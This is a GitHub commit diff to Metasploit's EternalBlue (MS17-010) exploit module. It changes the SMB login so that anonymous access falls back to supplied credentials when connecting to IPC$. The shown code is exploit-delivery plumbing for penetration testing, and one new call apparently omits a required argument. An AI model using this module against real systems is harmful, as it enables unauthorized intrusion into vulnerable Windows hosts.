Skip to content

Commit 4ffe666

Browse files
David MaloneyDavid Maloney
authored andcommitted
improve the cred fallback
we might get a successful sessionsetup but a failure on IPC$ due to anonymous access
1 parent 4c02b7b commit 4ffe666

File tree

1 file changed

+35
-18
lines changed

1 file changed

+35
-18
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 35 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -289,33 +289,29 @@ def smb2_grooms(grooms, payload_hdr_pkt)
289289
end
290290
end
291291

292-
def smb1_anonymous_connect_ipc()
292+
def smb1_anonymous_connect_ipc
293293
sock = connect(false)
294294
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
295295
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
296296
response_code = client.login
297297

298+
authed = false
298299
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
299-
if datastore['SMBUser'].present? && datastore['SMBPass'].present?
300-
client = RubySMB::Client.new(
301-
dispatcher,
302-
smb1: true,
303-
smb2: false,
304-
username: datastore['SMBUser'],
305-
password: datastore['SMBPass'],
306-
domain: datastore['SMBDomain']
307-
)
308-
response_code = client.login
309-
310-
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
311-
raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}"
312-
end
300+
client = authenticated_login(dispatcher)
301+
authed = true
302+
end
303+
os = client.peer_native_os
304+
305+
begin
306+
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
307+
rescue RubySMB::Error::UnexpectedStatusCode => e
308+
if authed
309+
raise e
313310
else
314-
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}"
311+
client = authenticated_login
312+
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
315313
end
316314
end
317-
os = client.peer_native_os
318-
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
319315

320316
return client, tree, sock, os
321317
end
@@ -782,4 +778,25 @@ def make_kernel_shellcode
782778

783779
end
784780

781+
def authenticated_login(dispatcher)
782+
if datastore['SMBUser'].present? && datastore['SMBPass'].present?
783+
client = RubySMB::Client.new(
784+
dispatcher,
785+
smb1: true,
786+
smb2: false,
787+
username: datastore['SMBUser'],
788+
password: datastore['SMBPass'],
789+
domain: datastore['SMBDomain']
790+
)
791+
response_code = client.login
792+
793+
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
794+
raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}"
795+
end
796+
else
797+
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}"
798+
end
799+
client
800+
end
801+
785802
end

0 commit comments

Comments
 (0)